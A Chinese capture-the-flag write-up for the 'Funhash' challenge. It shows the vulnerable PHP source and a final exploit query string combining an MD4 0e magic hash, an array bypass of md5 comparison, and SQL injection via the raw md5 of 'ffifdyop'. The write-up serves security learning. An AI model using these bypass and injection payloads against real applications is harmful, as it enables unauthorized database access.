[第四届-强网杯]:Funhash

2023-11-06

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();


?>

三个绕过:一是md4的绕过,二是md5的绕过,三是sql注入绕过。

1.md4绕过

if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

如果\$_GET["hash1"] != hash("md4", \$_GET["hash1"]),就退出脚本,也就是说\$_GET["hash1"]==hash("md4",$_GET["hash1"])才能绕过第一关。
这里耗了很久很久,队里都绕不过去思路,直到队友找到一篇文章:https://medium.com/@Asm0d3us/part-1-php-tricks-in-web-ctf-challenges-e1981475b3e4
才想到其实可以通过科学计算法比较绕过,也就是说要找一个明文是一个科学计算法0e开头的,然后其加密也是0e开头后面都是数字。这样就是以科学计数法的形式做比较,由于是弱类型比较,所以是能绕过的;
符合条件的明文及密文:

plaintext : 0e001233333333333334557778889
md4 hash : 0e434041524824285414215559233446

?hash1=0e001233333333333334557778889

在这里插入图片描述
这样就绕过了leve 1。


2.md5比较绕过

if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

md5强类型比较,这里直接传数组就能绕过

?hash1=0e001233333333333334557778889&hash2[]=1&hash3[]=2

在这里插入图片描述

3.sql注入md5绕过

$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();

password使用了md5加密然后直接拼接,而ffifdyop经过md5($password,true)过后恰好结果是’or’6�]��!r,��b。
拼接执行sql语句:

$query="SELECT * FROM flag WHERE password = ' ' or '<xxx>'";

https://blog.csdn.net/sinat_41380394/article/details/81490193

最终payload如下:

?hash1=0e001233333333333334557778889&hash2[]=1&hash3[]=2&hash4=ffifdyop

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[第四届-强网杯]:Funhash 的相关文章

  • Python知识点总结

    Python知识点总结 1 Python基础知识 1 1 变量及类型 1 2 标识符与关键字 1 3 常用格式化输出符号 1 4 运算符 1 4 1 算数运算符 1 4 2 赋值运算符 1 4 3 比较 即关系 运算符 1 4 4 逻辑运算
  • PMBOK(第六版) PMP笔记——《第十一章 项目风险管理》

    第十一章 风险管理 项目的独特性导致项目充满风险 项目风险是一种不确定的事件或条件 可能发生 将 要发生 也可能不发生 已发生的消极风险可视为问题 问题又会引发风险 7 个过程 1 规划风险管理 制定风险管理计划 指导如何实施 开展项目的风
  • PG系列3-客户端工具使用

    文章目录 前言 1 pgAdmin 4简介 1 1 pgAdmin 4安装 1 2 pgAdmin 4 使用 2 psql功能及应用 2 1 使用psql连接数据库 2 2 psql元命令介绍 2 2 1 db查看表空间 2 2 2 d查看
  • 吃鸡显示服务器人太多,《绝地求生》回应服务器不给力:玩家太多

    最近 绝地求生 玩家们讨论更多的不是如何吃鸡 而是 绝地求生 的服务器究竟如何不给力 目前最新的数据显示 绝地求生 大逃杀 在Steam上最高同时在线玩家数量已经突破165万 是史上最火爆的游戏 此外 绝地求生 大逃杀 目前已经销售超过13
  • vs2017/2019无法登陆:我们无法刷新此账户的凭据,解决方法(亲测可用)

    vs2017 2019无法登陆 我们无法刷新此账户的凭据 解决方法 亲测可用 VS一直未登录使用 30天的试用期过后 需要登陆微软账户才能继续使用 登录VS2017 2019时报错 出现了错误 我们不再能够检索您的帐户信息 请重新输入您的凭
  • NPM 命令——依赖包管理

    目录 1 npm 安装 2 配置 帮助 3 新建node工程 4 安装 包 5 更新 包 6 卸载 7 发布包 8 查看安装包的信息 1 npm 安装 npm v 查看npm 版本 也可看是否安装成功 npm install npm g 通
  • CPU调度(CPU Scheduling)

    Basic Concepts Scheduling Criteria 调度标准 CPU利用率 CPU utilization keep the CPU as busy as possible 吞吐率 Theoughput of the pr
  • 附录一

    2018 04 12 周四 15 03 活动连接 协议 本地地址 外部地 址 状态 TCP 127 0 0 1 912 127 0 0 1 56654 ESTABLISHED vmware authd exe TCP 127 0 0 1 9
  • 在HBase中创建‘sutdent’表

    启动hadoop start all sh 启动hbase start hbase sh 启动hbase shell客户端 进入创表 1 在HBase中创建 sutdent 表 如图所示 lt 1 gt 创建命名空间 建立一个test的命名
  • 手机基带工程师的工作范围与职责

    作者 AirCity 2019 11 4 Aircity007 sina com 1 基带硬件职责范围 基带硬件工程师核心任务是绘制原理图 但这并不像其他领域的CAD制图 仅仅是靠想法构建一个模型或者连连线 基带的原理图是一个集合 画图仅仅
  • 华为OD机试 -计算日期到天数转换(C++ & Java & JS & Python)

    描述 根据输入的日期 计算是这一年的第几天 保证年份为4位数且日期合法 进阶 时间复杂度 O n 空间复杂度 1 O 1 输入描述 输入一行 每行空格分割 分别是年 月 日 输出描述 输出是这一年的第几天 示例1 输入 2012 12 31
  • 基于VUE的可隐藏的顶部菜单栏组件

    效果图
  • 给我flink on k8s的执行命令案例

    在K8s上运行Flink的执行命令案例如下 1 下载Flink并将其解压到您的工作目录 wget https archive apache org dist flink flink 1 10 2 flink 1 10 2 bin scala
  • 【语义分割】10、ISNet: Integrate Image-Level and Semantic-Level Context for Semantic Segmentation

    出处 ICCV2021 文章目录 一 背景 二 动机 三 方法 3 1 整体过程 3 2 Image Level Context Module 3 3 Semantic Level Context Module 3 4 Loss Funct
  • h5学习笔记:flex space-between 实现左右对齐布局

    今天在尝试拼小程序界面的时候一直想换种口味 于是想使用flex布局 小程序支持flex也比较好 今天遇到一个问题就是要实现一个一左 一右 方式布局 之前习惯了用绝对布局的方式 可以将右边的元素实现right 0 处理 细心想了一既然使用fl
  • netdata监控服务器主机(包括Docker容器)

    效果 Docker部署 创建挂载目录 mkdir p data netdata netdatacache netdatalib docker运行 docker run d name netdata p 19999 19999 v data
  • 四个问题,判断自己是否适合学习编程

    下面有四个问题 可以测一测你是否适合学习编程 你的逻辑和抽象思维能力比较强吗 你愿意花费很多业余时间去学习新的东西吗 你对研究和探索未知领域保持足够的好奇心吗 遇到问题和困难的时候你有足够的耐心和毅力去解决吗 如果上面这四个问题中有三个及以
  • Unity导入模型一面有贴图另一面透明的解决方案

    出现这种情况是因为模型用了双面材质 而Unity不支持双面材质 故导入模型到Unity中 会出现一面有贴图 另一面透明的情况 解决方法 1 自定义一个双面材质Shader 代码如下 Shader Nature Vegitation Vert

随机推荐

  • 手把手教你添加多个IP地址

    IP地址 IP地址是指互联网协议地址 又译为网际协议地址 是IP协议提供的一种统一的地址格式 它为互联网上的每一个网络和每一台主机分配一个逻辑地址 以此来屏蔽物理地址的差异 子网掩码 子网掩码又叫网络掩码 地址掩码 子网络遮罩 它用来指明一
  • Linux如何查看JDK的安装路径

    which java 首先要申明一下which java是定位不到安装路径的 which java定位到的是java程序的执行路径 root localhost which java usr bin java root localhost
  • sqli-labs-master第21关、22关

    前言 昨天我们研究了http头部cookie注入 反正我是让让抓包软件给搞死了 废了老半天劲 我们来研究下加密后的cookie 第21关 看到这个页面我们还是输入用户密码 返回了这个页面 提示了一系列的信息 我们还是抓包分析下 看到了加密后
  • 【RocketMQ】设计理念与核心概念扫盲

    RocketMQ 设计理念与核心概念扫盲 文章目录 RocketMQ 设计理念与核心概念扫盲 一 RocketMQ的设计理念和目标 1 1 设计理念 1 2 设计目标 二 RocketMQ的核心概念扫盲篇 2 1 部署架构 2 1 1 Na
  • 公司规定所有接口都用 POST请求?

    最近在逛知乎的时候发现一个有趣的问题 公司规定所有接口都用 post 请求 这是为什么 看到这个问题的时候其实我也挺有感触的 因为我也曾经这样问过我自己 在19的时候接到一个项目是从零开始搭建一个微服务 当时就有了解过接口的一些规范 比如耳
  • Myeclipse8.x集成Aptana

    MyEclipse8 x集成Aptana 2011 01 02 14 25 47 分类 Java 举报 字号 订阅 前几天在网上找了很多关于MyEclipse集成Aptana插件 找到的只有MyEclipse6 0的版本 而且都是同一篇文章
  • SpringBoot系列教程JPA之update使用姿势

    通过本篇博文 您至少可以选到 save 直接根据id来修改记录 利用jpl 实现查询修改的使用姿势 初识事物的神秘面纱 I 环境准备 在开始之前 当然得先准备好基础环境 如安装测试使用mysql 创建SpringBoot项目工程 设置好配置
  • 【源码篇】基于ssm+vue+微信小程序的医疗科普小程序

    系统介绍 这是一个ssm vue 微信小程序的医疗科普小程序 分为pc端和微信小程序端 pc端包括 管理员角色和学生角色 管理员拥有 学生管理 科普知识管理 论坛管理 收藏管理 试卷管理 留言板管理 试题管理 系统管理 考试管理 学生端拥有
  • keil中下载程序界面设置

    下午在调试DAU的时候忽然出现internal command error的情况 以往是将下载器重新上电或编译器重启既可 但是今天这一招怎么也不灵光了 换一个硬件可以正常下载 不死心 试着修改下载器选项 当Connect选择为Under R
  • 游戏UI特效教程 章鱼学院UI动效基础课(68课)

    本文包含两大单元 展示类动效原型单元 可交互动效原型单元 在展示类动效单元中 我们会着重利用AE这款软件 由浅入深的 对三个案例进行学习并制作 通过学习这个单元的知识 大家可以掌握UI动效中 AE基本的使用技巧 并在带领下完成三个案例 通过
  • ts 移动端h5 拍照预览

    通过typescript实现一个简单版本 移动端 拍照 和预览功能 1 需求列表 点击拍照唤起手机后置摄像头 拍照完成在页面预览照片 2 技术实现 2 1 布局和唤起后置摄像头 唤起摄像头采用 input 里面 type file 类型 为
  • Shell脚本攻略:文本三剑客之sed

    目录 一 理论 1 sed 二 实验 1 sed命令的寻址打印 2 显示奇偶 3 查找替换 4 后向引用 5 截取版本号 6 替换IP地址 一 理论 1 sed 1 概念 sed 英文全称为stream editor流式编辑器 sed 对输
  • neo4j学习笔记

    文章目录 neo4j note 一 概述 1 链接 2 介绍 数据模型 二 使用 1 环境搭建 2 CQL 1 创建 Create 2 查询Match 3 Return 4 关系基础 创建 1 现有节点之间创建无属性的关系 2 现有节点之间
  • 哈夫曼树构造哈夫曼编码

    在传输文字时 经常要将文字转换成二进制字符串 所以我们希望编码最短 但是又想保证它的唯一性 哈夫曼树具有最小带权路径长度 用来实现编码就可以编码最短 所以用哈夫曼树来构造编码 而前缀编码就可以保证在解码的时候不会出现多种可能 就实现了唯一性
  • 第二章。c#变量和数据输入

    1 C 中常见的数据类型 1 整型 整数类型 表示整数 比如年 月 日 年龄等都是整数 整型的关键字 int 最常用的 short long 2浮点型 带小数点的数 比如身高 米 体重 100 5kg 等都是浮点数 浮点型分成两种 1 单精
  • quartz对于定时任务Misfire的处理

    使用quartz过程中 产生了很多问题 遇到就记录一下 虽然用的比较少了 但还是有一些项目在使用 问题描述 创建一个每天执行的任务test1 创建自动运行状态 然后停止任务 一直等到当天定时时间过去 然后再启动 发现定时任务还是先执行了一次
  • 在Bios中开启虚拟化设置

    1 进入BIOS 开机时按baiF2或F12或DEL或ESC等键 各电脑有所不同 2 进入duBIOS后 找到Configuration选项 选zhi择Intel Virtual Technology并回车 将光标dao移至Enabled
  • C++使用模板实现元素的反序

    实现任意类型序列中元素的反序 所涉知识点 示例代码 开发环境 运行结果 注意 所涉知识点 阅读此文需要掌握的知识点 回调函数 模板类 类模板 栈 示例代码 这里直接上代码 pragma once include
  • Qt中的并发

    QThread是一个低级 low level 类 适合用于显式地构建长期运行的线程 QtConcurrent是一个命名空间 提供了用于编写并发软件的更高层次的类和算法 该命名空间中有一个重要的类 QThreadPool 这是一个管理线程池的
  • [第四届-强网杯]:Funhash